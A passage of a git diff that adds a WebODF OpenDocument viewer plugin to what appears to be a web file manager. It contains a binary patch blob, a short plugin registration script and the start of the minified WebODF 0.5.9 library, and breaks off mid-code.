z_|T_GI7_X~vawwFwgma(9EXQ)EqtdDK8!8p|ND%ZyBN;uGBwe$3AM{PSvuP-f?`7Dt*VwjiP9%+9D#f7Z25qfL z&~BpR;bRXS{pToPBJx_74@y z5H6T+u18IC^yt`yO%w3xO7j;KV~G9$Trfn=dWSmo@oe^IM+hejM^wgA&tw&)o>0V) zj_mKhl}ukEZ`mf{X@9Br)YY}?y5-wEBl4%qGs=xP3s z-F!?GXRoeC|7}ctX~P?0U506vn8YJL5zCKeR`nw5(l-3q$3=LJACeiT;e8!c%TsSl z8n^8#x~X#Kz~=flcaX*A+{p;{Fq6#@_VcyjjDGBR+^XB6Y}4T`tAz>$B7vDMI> zHY2S~mBNrHV$ToXVH|kD7F})g!=GgWyD%8>r6Og7!_1<~pofYH;Y4u{xU>;>*F<8W z4yj^0j26l0+bn(_7Hy8j@|TzjuG>GIC9OBToUvLmPIL#uk}=_vsdt-}`n%!TE{k+C zhx;;)Qo8rFpQ_EZm4|;OJzdZgKPFt$m!(OQnraF-boXyC;dPmkWFNJ#LA zMN6{sg~n05+Ydf}(`yt$H2?VQwpwJpLSDFNgn$Pl9zgqW|AFyC+(&RoDcStxk@j)q zb06c_RWW4%UnkrStSRt=hHMjy!6`)Xg}m zmMAFJ^S*$K=&f*+!!7FpMA{FhPokL_|NS9r%gT02L}M0z;s7(=SOPL6 zQ=1t#eY3(IYHj&ZzGS#%JG7gcgB{{hNtKXf0Y6YPQR}2Xb^yPYGzX%QCDvx)^GJ3X z(c636y#ea*BHXeno@yO6s{j-KvR#k*%!Z$}0~?_G}bmMe?2dqc#7=(g@S!RVyV~ z#=)>&V|MSCjx*Gh@zGJ^Upg&K&B9u@(SWbv2IxCMP*)D-Uu z9;Tz$Uy5ydl%oM1T2kh3>?ul>H&Ru`@9K4grul%e(HIgeE1+;d0t#5^cKG6U4m(h@ zkh#JFoX*}5M?hNc($g?u ztS$FbIo34s!hEgDV=xShHypBkH=+HSB~RbfHjmN5^Ym9fmZ*ow4a~Za`9%OqcG?C5 z?yoN0--<~@BSJ!ZPif;Rye+Jr795=mQNu#07X(YS511!9_sHO?)S1lrLpWNtN>ng#ly$2CQMOH1K8;CH-tkr!Z2hr^64hM*C{k7 z0e_T)V6F?4HJQ1(E2HqUc+o8^rD@8;GX_-8p4Ft^3Q(LSCCHdtJZjhtsmJz+>ao_ib zQm{i>bDf&0vk0_G?Mf#NLOZ3;3~1hNL6`G~H{X@J`}mg<{ZDALe-?aD2s=D*G2h_c zs3Gn9248z`ewNpTFlHVOpilDbXk(^fs+-@r66OXo-wyhw22$GGaC^Zd-J20MeMUwu zbsW*L(I~h{F<$iW%GU<^41)4_R4U#C)s0?Cri8KPB7BZtXdMg$u5R9;d*^nwHee)k zMl{}%f3VjBl6yGYDV}M&rcJ80i}EUVwebCH#w$4fSu-;}|FhXB{8^jrq|-h1*BQD? zAwcZDvAdDMKbo6i*7F;2;ng*j1E2`i1zvuWAbH0vr1EnwPQWU;17eZOXjiD+IZHDR zCYl5o02;d^)8Fh!aA*E*_0_W4TaUwJm}SYTY&f_BxnNPf9_-i2ivW;3_-w1vhAT|- z@436-X<*s5n6okjCpCBCwjdM*>~dMN__?4;x=7uac@Ot-&3=lrH^LVzat@(&;VB5H znoRGe1Rcg@3Ja>W-JWtkF{6>YUq9p%VN6zx7^vN1l(P&lCR22_km6bpqZAZTAgLA? zsnlv)mhZL^g2&p58PW)03@X+JzO!6ABJb(>xD=TF6O}zSX9>O}W-r(H2V=5ZZgR3m zQNQl^OD)8}CT?Y^YM3j?nqtwD=m{Bb_Uy^f!@5E`7-F+cKOYqcH2}5R8`XE!2u@5s zVj|r!&{F!_y3b<7{R~TxSqw>Ap8Ss->mY1Zv4&yYkMp=0w_GiiU$J)v8U@{$!7$oH z_RHlvNufr&#Y-7k^(TNqhqnT@uA@zIx#k4>a=~|%mLT`hH^c)&W}TonVf)rW|;8%_<8869I%dn*q1^Ed=axske|XpHo;vHctF-Kc4I zcQYS5RAF3~v?8Ucy1rSC?jnd+&O6u4A>kA~1biapj`CYn=IEcuRr{q^@TpN;){GDa z75EXM)TzVzw&|bsOfXVS`ZbUwtcuIwUH$%`AV?Li+j77|iT%}cf3F;5skrBxs!tem zZLn7^Ld9o893@@#&62-CZXUbgr~^M#zt6>HN4yhPzk#i7yG)f3JtIGLp`Au!D-{7@Z#iJaw8R#HWikt&F=FFA1C zj1RDNBEhfT5`berk@F}xhb_kuT^)XFgioY~%iW5yb7cFd;UJ{`eSu!M(oT@l41;)2 zHgvVxQ!Y{tPb7|^B+_*oLF_+j<|P&%l}*fGC1He`o{ zrS-S(ZFp_0#O`kvmlD5!U!(gGs#?gBnc6=aV>C^ox>s&Xut!A5ZfPu@5%P>*k;V@+ ztUg6+&O_6ytZwWlsPN$CI7c%CgGbo`>}%uduZGkH@qi_>>K z0<=GWk>%||4B}$BQyMyUmG8I!V1poG+*c%HIDZowBR|(m-H}kxgYvF=09H#4DMXo%UV1~d0cv%$^Q_!zs`5VOEJ+nMAO{Vf4orhpPl;;mRR zA*66ITEEK*MvBo#p;OR&D;QVhKXI{aij%?mwvs~;3t6;)+|qOaRheaky!>=tB%$0$ zzg?%c@R-Zq2VMhB)kut0EHPnd>-4e7Dj{zx_M!j*Ype&``K7M;n8oKP*<0-P{D55! zC};}|wh)_X-h?UoY|th78AB|XNOf(Eu>Ygrm(rgMC5ZS3DXZJP7r%rGj&9=IpLh7&Q*AN(n@jaeOKVG zWya}U+*ZhL9#q6pD)Lz$1h)(~@7RPxvp+0ggy8K|Jr}=TIH}AK8TT$whbF!Sz>ZW6 zCob{s18w*F{2wJdH96F{GIWws*OVH211rgdCzuLRDlTcTI1K3?rx(CS_RK@u6%*r> zLor%#MTPQ8Z@)OGTq1ZdP!aYMjC5~&hyMPJNH!+P^fX|9WlDLIm8nQ5tm$Nm)AUW< z8~0j`Al*JtS-AJqjIZR%c=H8uoPxt4-r^)~MAV&BZ+y2rDhb(Zv^*>RN26ItqzR3% zW7hX=b9f2-M?F8(+8-IO(Pt_R!N6(r7FW2_U@a-9&QM!?g5k)Ao)c{NHKwL8j9HIw zj~f|j`owr_P{+-C^z%E5KxvZ9QwtrbzH~1 z(X+{rsp?k?H-CD}Jk7csu@#bb#Itx#v3wIij-5k5{8-pK5&w?RdqCUld^17UTY932 z<*B<^_o$Tc5^At4Xb^ft0B0-lwsf-%uv1LP)U%7 zOy$b~HtDj^dkBB1X}}B8&t%|rC9gjK`CRqOsD*4 z+9CWeAEL5g$gNN#&#N0hz6jH9^>??_sPY-fN7l7t1DlaYwygEMr({T}-;lnT;I%~s z1%hduzBn9q*$FN1$v-QSN6C7BV-Lx?=(yt>(F;!3)P&jIj$I7B87@Z=hkl->qW3NO zaq&`^*bJmG+7x0eBe)+P-92=+lId-9M)L--d9c4sw(MU3w|VnL4<{$Xoe1s)vyzkW z?Yo`@y5#mCL|NHb=w`LNsojZ*;jiju=StF|q_{Xf2;N48!#Q0Lt=?bW1es{*G_HGK zZ^N$5&bUL{7~E0D7%Yh0!w)gbDwmIg3BQ_bEKixAj^^kMC#jEeHg0aQAI0I1tlJ^v zWiw5l;S?MieJFc!O9*6S)-52Pa2phsFN!m376n2qK}EQ*HqhImCa3Q8;~h(klKLoJ zMp3=OCoR|AJ6Y%qpRmM=S3&IHP;TVoy2h~g;i(%gc7g900M&=@2eiq*f+1;OUVI^$Q&lYs!DX4@efR^5qqno4u zqrL0?hO68AcqLl&2niu0%A*AlL!w?njPB8m8VRCz!!T+PZImcs1ks5ZZHN*jN)n?a zV)POWkDX!$2PDMnS%$i*}wjQWP z+%voD2|Cv5C;R|B{Age5J$Jz!HlXM3I~b$(qJpQ!_WxXDp%QPXd%iPqS2zG!HCLehO17c-gpW=t&AQNXGL;@`03lic#E0DLyNc zPCX~}!x0-U_Z9JO8lJJepgm}4`glEoMS&jhx-_cJ>|>wr8nEMN?eyC zT8lWpwpzUxEKI8KeLLC`led6EnG%kOB^j@*kdBMv&HvV^>^GzDCLh(BpM{A%HH#p`hT)2APT7Z)6S|mx1x-m>#!00mM0Vp4c~6#2c&(XgxIbLDPr=&-1>@JsZGGTik-nCB_V z&iq7{XM=Ivw@{)~iHi?A?XVXf7q+KAR&MVj9?GZ;v(Y)%%5b=u!r_53ErZ%7M%o}3 zRzIV%g-Ly_4bQ_Od=g+aMv`sv&T%KkM*Yl9QQr%0aKn$&peTXKPqfh>dPNOVW9OS#;5=U2DH-@KW5E0?eh&W( z$oclcTCqbgg~Fd`V%~}OrD=Agv%6mmjIOS$hkqh`_o%6d=l5poAr|A@Qsa7`QrIZAd{`2PM;8>&1v*7iDbuJ zh=Ki?Jkgr0*8dq+?WvdbDa5#Br11WY7f@^G9U(9bwz7{;!wT-n#wyE^CRDOduQ2VMcf0)|Ym_$$?z$;;%!+->L}lNf*C)Lv zesB;V!LfFuf^M)Wy=g-96HjztHrM3i0}rOtklvdSCT2tM<*2VGjAM7cKZ&&imOb(xPdCXeHvYcaXl>R-2L2oe}1DY6~og8qa5J z*v68pfdzS3-gn)8M}P8p9j}rGyLzcNY3b7or{y5G0qT;;pjGan3o-@VjzVwXNc8K3 z30xnnWd~$to@@Z02gcOS^wNjM?fUo7&4rB_%p`Mn&NuNwxm0E(zB{uDNzGrE36IX* zE+-5{5xi#fyJ>3B^W+JWdZgs@c3S5K@A+eA@lGVH8!bqv_I1+6%`vs?Rhn^WR~C$b zycQ4_?AD}V)`Obc26~#41&1fBkHWo>C8OLu$yUN%ng|DM`K_YeCbVd0o0M4eX2~AZ zhn>EaP{gJ(8`+b`D$9H7d1;ZybibQ&ng#FFCK4%&77sn|CjzF&Va-SEypqP0nzM|g z=e=PvgYE19>%GAlLUy!!CV$@Odkh2MXdimnU`597$OQt3j-Q$S!qQDOIn_# zdv&ekT|8Vuf-T0KK0l=;u0`k-m-SYHK%Jyl*#SXbD+@Ut5MFv0H;APboN?)Khx#=4 zT=qe)W? zZf~1|bWV7P$lL4Xu{hRLEKuOV$O1%eIuDOzODM+fa{9J9bd{iSIa<}75?G`2Ot2+Z zo{%icU`(llZL&YkV2e>?Usx$w9?eM-m==Ux;%zZ6FDdrJYOP=?@zL<+2P!dM>b91y z+qa7Xn+X~9Hkx6zf_AYz6HZ>bE=G7n^9sn^!?+wL!_`0s!3Cb2*I`R(9eqpuL6xT+ zBX7dw>@OjbF%kE0QL;5@_riuGs?6Se{>GyNQ_I8KP3Pp%6Neoe-t#qj#%Xq76quIi3$4ZA~I6J?y*Rf|$qVn)cgP z%@s~YMg7xEN6ohR_)UiK>~#TEs^2Y5u+}X`pl^tAYSJ}U@4oTe@N86z&V0SZ+)*4hJOh}g^XPsLC~%$rI}@=tiX0=ylu zdA@ak8{}o8fyesrTY%o}wB~+AgYOH)mSzVDn^o6guTJMoxuz`Gu92rZzbvr}$(nBA zvAX05pxBHU+-w|#H6_#z5IA;L3oq~lsee?Gr8*d~c$Jy8qF_n=#w`u^6##mz>o8^P z$7tNeJk{xd?{5E{7rC4UPz8VYaHZ3SZEj_g>C;vaA>7RMyS}ye;0#BSe>rKx@2GAL5v9WPAWRQo?zu4UjipK&U zH_V$7&O{cVqz9={IR^gX@ym&kE^LLV0=XvxW@&$cB{vlFlaQAEp#Fd8|9^MLqDOTx z{ceNZl<1krsboTQbV*a7-xK4%$}fKU!evhktZ^oCI++k4Qd;2*vZ<=Ke)?hv_OSX_ zzWo<0`HI?4LIP4w!e>bkFGTjmiz$>l$C=1lWI{32{TpXW@VB_Xh0WjM{yXIU?zz8p zVV3`gJ@+4<3rIi8$vK6JtKsM4$zSX)Jc3^9^cy_<9f@jKFOz9>BG8$Fe1J6c?;_Rg Gqy87IA}7rN literal 0 HcmV?d00001 diff --git a/plugins/webodf/static/main.js b/plugins/webodf/static/main.js new file mode 100755 index 0000000..acb3d93 --- /dev/null +++ b/plugins/webodf/static/main.js @@ -0,0 +1,20 @@ +kodReady.push(function(){ + if( !$.supportCanvas() ){ + return; + } + kodApp.add({ + name:"webodfView", + title:"Opendocument Viewer", + ext:"{{config.fileExt}}", + sort:"{{config.fileSort}}", + icon:'x-item-file x-odt', + callback:function(path,ext){ + var url = '{{pluginApi}}&path='+core.pathCommon(path)+'#locale='+G.lang; + if('window' == "{{config.openWith}}" && !core.isFileView() ){ + window.open(url); + }else{ + core.openDialog(url,core.icon(ext),htmlEncode(core.pathThis(path))); + } + } + }); +}); \ No newline at end of file diff --git a/plugins/webodf/static/webodf.js b/plugins/webodf/static/webodf.js new file mode 100755 index 0000000..92f1bc4 --- /dev/null +++ b/plugins/webodf/static/webodf.js @@ -0,0 +1,895 @@ + +var webodf_version="0.5.9";function Runtime(){}Runtime.prototype.getVariable=function(g){};Runtime.prototype.toJson=function(g){};Runtime.prototype.fromJson=function(g){};Runtime.prototype.byteArrayFromString=function(g,k){};Runtime.prototype.byteArrayToString=function(g,k){};Runtime.prototype.read=function(g,k,d,b){};Runtime.prototype.readFile=function(g,k,d){};Runtime.prototype.readFileSync=function(g,k){};Runtime.prototype.loadXML=function(g,k){};Runtime.prototype.writeFile=function(g,k,d){}; +Runtime.prototype.deleteFile=function(g,k){};Runtime.prototype.log=function(g,k){};Runtime.prototype.setTimeout=function(g,k){};Runtime.prototype.clearTimeout=function(g){};Runtime.prototype.libraryPaths=function(){};Runtime.prototype.currentDirectory=function(){};Runtime.prototype.setCurrentDirectory=function(g){};Runtime.prototype.type=function(){};Runtime.prototype.getDOMImplementation=function(){};Runtime.prototype.parseXML=function(g){};Runtime.prototype.exit=function(g){}; +Runtime.prototype.getWindow=function(){};Runtime.prototype.requestAnimationFrame=function(g){};Runtime.prototype.cancelAnimationFrame=function(g){};Runtime.prototype.assert=function(g,k){};var IS_COMPILED_CODE=!0; +Runtime.byteArrayToString=function(g,k){function d(b){var d="",r,q=b.length;for(r=0;rl?e.push(l):(r+=1,a=b[r],194<=l&&224>l?e.push((l&31)<<6|a&63):(r+=1,c=b[r],224<=l&&240>l?e.push((l&15)<<12|(a&63)<<6|c&63):(r+=1,m=b[r],240<=l&&245>l&&(l=(l&7)<<18|(a&63)<<12|(c&63)<<6|m&63,l-=65536,e.push((l>>10)+55296,(l&1023)+56320))))),1E3<=e.length&& +(d+=String.fromCharCode.apply(null,e),e.length=0);return d+String.fromCharCode.apply(null,e)}var f;"utf8"===k?f=b(g):("binary"!==k&&this.log("Unsupported encoding: "+k),f=d(g));return f};Runtime.getVariable=function(g){try{return eval(g)}catch(k){}};Runtime.toJson=function(g){return JSON.stringify(g)};Runtime.fromJson=function(g){return JSON.parse(g)};Runtime.getFunctionName=function(g){return void 0===g.name?(g=/function\s+(\w+)/.exec(g))&&g[1]:g.name}; +Runtime.assert=function(g,k){if(!g)throw this.log("alert","ASSERTION FAILED:\n"+k),Error(k);}; +function BrowserRuntime(){function g(b){var e=b.length,l,a,c=0;for(l=0;la&&(c+=1,l+=1);return c}function k(b,e,l){var a=b.length,c,m;e=new Uint8Array(new ArrayBuffer(e));l?(e[0]=239,e[1]=187,e[2]=191,m=3):m=0;for(l=0;lc?(e[m]=c,m+=1):2048>c?(e[m]=192|c>>>6,e[m+1]=128|c&63,m+=2):55040>=c||57344<=c?(e[m]=224|c>>>12&15,e[m+1]=128|c>>>6&63,e[m+2]=128|c&63,m+=3):(l+=1,c=(c-55296<<10|b.charCodeAt(l)-56320)+65536, +e[m]=240|c>>>18&7,e[m+1]=128|c>>>12&63,e[m+2]=128|c>>>6&63,e[m+3]=128|c&63,m+=4);return e}function d(b){var e=b.length,l=new Uint8Array(new ArrayBuffer(e)),a;for(a=0;aa.status||0===a.status?l(null):l("Status "+String(a.status)+": "+a.responseText||a.statusText):l("File "+b+" is empty."))};c=e.buffer&&!a.sendAsBinary?e.buffer:r.byteArrayToString(e,"binary");try{a.sendAsBinary?a.sendAsBinary(c):a.send(c)}catch(m){r.log("HUH? "+ +m+" "+e),l(m.message)}};this.deleteFile=function(b,e){var l=new XMLHttpRequest;l.open("DELETE",b,!0);l.onreadystatechange=function(){4===l.readyState&&(200>l.status&&300<=l.status?e(l.responseText):e(null))};l.send(null)};this.loadXML=function(b,e){var l=new XMLHttpRequest;l.open("GET",b,!0);l.overrideMimeType&&l.overrideMimeType("text/xml");l.onreadystatechange=function(){4===l.readyState&&(0!==l.status||l.responseText?200===l.status||0===l.status?e(null,l.responseXML):e(l.responseText,null):e("File "+ +b+" is empty.",null))};try{l.send(null)}catch(a){e(a.message,null)}};this.log=b;this.enableAlerts=!0;this.assert=Runtime.assert;this.setTimeout=function(b,e){return setTimeout(function(){b()},e)};this.clearTimeout=function(b){clearTimeout(b)};this.libraryPaths=function(){return["lib"]};this.setCurrentDirectory=function(){};this.currentDirectory=function(){return""};this.type=function(){return"BrowserRuntime"};this.getDOMImplementation=function(){return window.document.implementation};this.parseXML= +function(b){return(new DOMParser).parseFromString(b,"text/xml")};this.exit=function(d){b("Calling exit with code "+String(d)+", but exit() is not implemented.")};this.getWindow=function(){return window};this.requestAnimationFrame=function(b){var e=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.msRequestAnimationFrame,l=0;if(e)e.bind(window),l=e(b);else return setTimeout(b,15);return l};this.cancelAnimationFrame=function(b){var e=window.cancelAnimationFrame|| +window.webkitCancelAnimationFrame||window.mozCancelAnimationFrame||window.msCancelAnimationFrame;e?(e.bind(window),e(b)):clearTimeout(b)}} +function NodeJSRuntime(){function g(b){var e=b.length,l,a=new Uint8Array(new ArrayBuffer(e));for(l=0;l").implementation} +function RhinoRuntime(){var g=this,k={},d=k.javax.xml.parsers.DocumentBuilderFactory.newInstance(),b,f,n="";d.setValidating(!1);d.setNamespaceAware(!0);d.setExpandEntityReferences(!1);d.setSchema(null);f=k.org.xml.sax.EntityResolver({resolveEntity:function(b,d){var f=new k.java.io.FileReader(d);return new k.org.xml.sax.InputSource(f)}});b=d.newDocumentBuilder();b.setEntityResolver(f);this.byteArrayFromString=function(b,d){var f,e=b.length,l=new Uint8Array(new ArrayBuffer(e));for(f=0;f>>18],m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c>>>12&63],m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c>>>6&63],m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c& +63];h===b+1?(c=a[h]<<4,m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c>>>6],m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c&63],m+="=="):h===b&&(c=a[h]<<10|a[h+1]<<2,m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c>>>12],m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c>>>6&63],m+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[c&63],m+="=");return m}function d(a){a=a.replace(/[^A-Za-z0-9+\/]+/g, +"");var c=a.length,m=new Uint8Array(new ArrayBuffer(3*c)),b=a.length%4,d=0,l,e;for(l=0;l>16,m[d+1]=e>>8&255,m[d+2]=e&255,d+=3;c=3*c-[0,0,2,1][b];return m.subarray(0,c)}function b(a){var c,m,h=a.length,b=0,d=new Uint8Array(new ArrayBuffer(3*h));for(c=0;cm?d[b++]=m:(2048>m?d[b++]=192|m>>>6:(d[b++]=224|m>>>12&15,d[b++]=128|m>>>6&63),d[b++]=128|m&63);return d.subarray(0, +b)}function f(a){var c,m,h,b,d=a.length,l=new Uint8Array(new ArrayBuffer(d)),e=0;for(c=0;cm?l[e++]=m:(c+=1,h=a[c],224>m?l[e++]=(m&31)<<6|h&63:(c+=1,b=a[c],l[e++]=(m&15)<<12|(h&63)<<6|b&63));return l.subarray(0,e)}function n(a){return k(g(a))}function p(a){return String.fromCharCode.apply(String,d(a))}function r(a){return f(g(a))}function q(a){a=f(a);for(var c="",m=0;mc?l+=String.fromCharCode(c):(d+=1,h=a.charCodeAt(d)&255,224>c?l+=String.fromCharCode((c&31)<<6|h&63):(d+=1,b=a.charCodeAt(d)&255,l+=String.fromCharCode((c&15)<<12|(h&63)<<6|b&63)));return l}function l(a,c){function m(){var d=b+1E5;d>a.length&&(d=a.length);h+=e(a,b,d);b=d;d=b===a.length;c(h,d)&&!d&&runtime.setTimeout(m,0)}var h="",b=0;1E5>a.length?c(e(a,0,a.length),!0):("string"!==typeof a&&(a=a.slice()),m())}function a(a){return b(g(a))}function c(a){return String.fromCharCode.apply(String, +b(a))}function m(a){return String.fromCharCode.apply(String,b(g(a)))}var h=function(a){var c={},m,h;m=0;for(h=a.length;m=a.compareBoundaryPoints(Range.START_TO_START,c)&&0<=a.compareBoundaryPoints(Range.END_TO_END,c)}function n(a,c){return 0>=a.compareBoundaryPoints(Range.END_TO_START,c)&&0<=a.compareBoundaryPoints(Range.START_TO_END,c)}function p(a,c){var b=null;a.nodeType===Node.TEXT_NODE&&(0===a.length?(a.parentNode.removeChild(a),c.nodeType===Node.TEXT_NODE&&(b=c)):(c.nodeType===Node.TEXT_NODE&&(a.appendData(c.data),c.parentNode.removeChild(c)),b=a));return b} +function r(a){for(var c=a.parentNode;a.firstChild;)c.insertBefore(a.firstChild,a);c.removeChild(a);return c}function q(a,c){var b=a.parentNode,d=a.firstChild,l=c(a),e;if(l===NodeFilter.FILTER_SKIP)return b;for(;d;)e=d.nextSibling,q(d,c),d=e;b&&l===NodeFilter.FILTER_REJECT&&r(a);return b}function e(a,c){return a===c||Boolean(a.compareDocumentPosition(c)&Node.DOCUMENT_POSITION_CONTAINED_BY)}function l(a,c){return g().unscaledRangeClientRects?a:a/c}function a(c,h,b){Object.keys(h).forEach(function(d){var l= +d.split(":"),e=l[1],f=b(l[0]),l=h[d],n=typeof l;"object"===n?Object.keys(l).length&&(d=f?c.getElementsByTagNameNS(f,e)[0]||c.ownerDocument.createElementNS(f,d):c.getElementsByTagName(e)[0]||c.ownerDocument.createElement(d),c.appendChild(d),a(d,l,b)):f&&(runtime.assert("number"===n||"string"===n,"attempting to map unsupported type '"+n+"' (key: "+d+")"),c.setAttributeNS(f,d,String(l)))})}var c=null;this.splitBoundaries=function(a){var c,d=[],l,e,f;if(a.startContainer.nodeType===Node.TEXT_NODE||a.endContainer.nodeType=== +Node.TEXT_NODE){l=a.endContainer;e=a.endContainer.nodeType!==Node.TEXT_NODE?a.endOffset===a.endContainer.childNodes.length:!1;f=a.endOffset;c=a.endContainer;if(fg))throw runtime.log("alert","watchdog timeout"),"timeout!";if(0k))throw runtime.log("alert","watchdog loop overflow"),"loop overflow";}};core.NodeFilterChain=function(g){var k=NodeFilter.FILTER_REJECT,d=NodeFilter.FILTER_ACCEPT;this.acceptNode=function(b){var f;for(f=0;f "+c.length),runtime.assert(0<=b,"Error in setPosition: "+b+" < 0"),b===c.length&&(l.nextSibling()?a=0:l.parentNode()?a=1:runtime.assert(!1,"Error in setUnfilteredPosition: position not valid."))):ba.value||"%"===a.unit)?null:a}function L(a){return(a=I(a))&&"%"!==a.unit?null:a}function E(a){switch(a.namespaceURI){case odf.Namespaces.drawns:case odf.Namespaces.svgns:case odf.Namespaces.dr3dns:return!1;case odf.Namespaces.textns:switch(a.localName){case "note-body":case "ruby-text":return!1}break;case odf.Namespaces.officens:switch(a.localName){case "annotation":case "binary-data":case "event-listeners":return!1}break;default:switch(a.localName){case "cursor":case "editinfo":return!1}}return!0} +function N(a){return Boolean(n(a)&&(!r(a.textContent)||A(a,0)))}function O(a,c){for(;0=c.value||"%"===c.unit)?null:c;return c||L(a)};this.parseFoLineHeight= +function(a){return K(a)||L(a)};this.isTextContentContainingNode=E;this.getTextNodes=function(a,c){var b;b=aa.getNodesInRange(a,function(a){var c=NodeFilter.FILTER_REJECT;a.nodeType===Node.TEXT_NODE?N(a)&&(c=NodeFilter.FILTER_ACCEPT):E(a)&&(c=NodeFilter.FILTER_SKIP);return c},NodeFilter.SHOW_ELEMENT|NodeFilter.SHOW_TEXT);c||O(a,b);return b};this.getTextElements=D;this.getParagraphElements=function(a){var c;c=aa.getNodesInRange(a,function(a){var c=NodeFilter.FILTER_REJECT;if(f(a))c=NodeFilter.FILTER_ACCEPT; +else if(E(a)||q(a))c=NodeFilter.FILTER_SKIP;return c},NodeFilter.SHOW_ELEMENT);V(a.startContainer,c,f);return c};this.getImageElements=function(a){var c;c=aa.getNodesInRange(a,function(a){var c=NodeFilter.FILTER_SKIP;g(a)&&(c=NodeFilter.FILTER_ACCEPT);return c},NodeFilter.SHOW_ELEMENT);V(a.startContainer,c,g);return c};this.getHyperlinkElements=function(a){var c=[],d=a.cloneRange();a.collapsed&&a.endContainer.nodeType===Node.ELEMENT_NODE&&(a=W(a.endContainer,a.endOffset),a.nodeType===Node.TEXT_NODE&& +d.setEnd(a,1));D(d,!0,!1).forEach(function(a){for(a=a.parentNode;!f(a);){if(b(a)&&-1===c.indexOf(a)){c.push(a);break}a=a.parentNode}});d.detach();return c};this.getNormalizedFontFamilyName=function(a){/^(["'])(?:.|[\n\r])*?\1$/.test(a)||(a=a.replace(/^[ \t\r\n\f]*((?:.|[\n\r])*?)[ \t\r\n\f]*$/,"$1"),/[ \t\r\n\f]/.test(a)&&(a="'"+a.replace(/[ \t\r\n\f]+/g," ")+"'"));return a}};odf.OdfUtils=new odf.OdfUtilsImpl; +gui.OdfTextBodyNodeFilter=function(){var g=odf.OdfUtils,k=Node.TEXT_NODE,d=NodeFilter.FILTER_REJECT,b=NodeFilter.FILTER_ACCEPT,f=odf.Namespaces.textns;this.acceptNode=function(n){if(n.nodeType===k){if(!g.isGroupingElement(n.parentNode))return d}else if(n.namespaceURI===f&&"tracked-changes"===n.localName)return d;return b}};xmldom.LSSerializerFilter=function(){};xmldom.LSSerializerFilter.prototype.acceptNode=function(g){}; +odf.OdfNodeFilter=function(){this.acceptNode=function(g){return"http://www.w3.org/1999/xhtml"===g.namespaceURI?NodeFilter.FILTER_SKIP:g.namespaceURI&&g.namespaceURI.match(/^urn:webodf:/)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT}};xmldom.XPathIterator=function(){};xmldom.XPathIterator.prototype.next=function(){};xmldom.XPathIterator.prototype.reset=function(){}; +function createXPathSingleton(){function g(b,a,c){return-1!==b&&(b=e&&c.push(k(b.substring(a,d)))):"["===b[d]&&(0>=e&&(a=d+1),e+=1),d+=1;return d};q=function(d,a,c){var m,h,e,n;for(m=0;m/g,">").replace(/'/g,"'").replace(/"/g,""")}function d(f,n){var g="",r=b.filter?b.filter.acceptNode(n):NodeFilter.FILTER_ACCEPT,q;if(r===NodeFilter.FILTER_ACCEPT&&n.nodeType===Node.ELEMENT_NODE){f.push();q=f.getQName(n);var e,l=n.attributes,a,c,m,h="",y;e="<"+q;a=l.length;for(c=0;c")}if(r===NodeFilter.FILTER_ACCEPT||r===NodeFilter.FILTER_SKIP){for(r=n.firstChild;r;)g+=d(f,r),r=r.nextSibling;n.nodeValue&&(g+=k(n.nodeValue))}q&&(g+="",f.pop());return g}var b=this;this.filter=null;this.writeToString=function(b,n){if(!b)return"";var k=new g(n);return d(k,b)}}; +(function(){function g(b){var a,c=r.length;for(a=0;ac)break;h=h.nextSibling}b.insertBefore(a,h)}}}var f=new odf.StyleInfo,n=core.DomUtils,p=odf.Namespaces.stylens,r="meta settings scripts font-face-decls styles automatic-styles master-styles body".split(" "), +q=Date.now()+"_webodf_",e=new core.Base64;odf.ODFElement=function(){};odf.ODFDocumentElement=function(){};odf.ODFDocumentElement.prototype=new odf.ODFElement;odf.ODFDocumentElement.prototype.constructor=odf.ODFDocumentElement;odf.ODFDocumentElement.prototype.fontFaceDecls=null;odf.ODFDocumentElement.prototype.manifest=null;odf.ODFDocumentElement.prototype.settings=null;odf.ODFDocumentElement.namespaceURI="urn:oasis:names:tc:opendocument:xmlns:office:1.0";odf.ODFDocumentElement.localName="document"; +odf.AnnotationElement=function(){};odf.OdfPart=function(b,a,c,d){var h=this;this.size=0;this.type=null;this.name=b;this.container=c;this.url=null;this.mimetype=a;this.onstatereadychange=this.document=null;this.EMPTY=0;this.LOADING=1;this.DONE=2;this.state=this.EMPTY;this.data="";this.load=function(){null!==d&&(this.mimetype=a,d.loadAsDataURL(b,a,function(a,c){a&&runtime.log(a);h.url=c;if(h.onchange)h.onchange(h);if(h.onstatereadychange)h.onstatereadychange(h)}))}};odf.OdfPart.prototype.load=function(){}; +odf.OdfPart.prototype.getUrl=function(){return this.data?"data:;base64,"+e.toBase64(this.data):null};odf.OdfContainer=function a(c,m){function h(a){for(var c=a.firstChild,b;c;)b=c.nextSibling,c.nodeType===Node.ELEMENT_NODE?h(c):c.nodeType===Node.PROCESSING_INSTRUCTION_NODE&&a.removeChild(c),c=b}function g(a){var c={},b,d,h=a.ownerDocument.createNodeIterator(a,NodeFilter.SHOW_ELEMENT,null,!1);for(a=h.nextNode();a;)"urn:oasis:names:tc:opendocument:xmlns:office:1.0"===a.namespaceURI&&("annotation"=== +a.localName?(b=a.getAttributeNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0","name"))&&(c.hasOwnProperty(b)?runtime.log("Warning: annotation name used more than once with : '"+b+"'"):c[b]=a):"annotation-end"===a.localName&&((b=a.getAttributeNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0","name"))?c.hasOwnProperty(b)?(d=c[b],d.annotationEndElement?runtime.log("Warning: annotation name used more than once with : '"+b+"'"):d.annotationEndElement= +a):runtime.log("Warning: annotation end without an 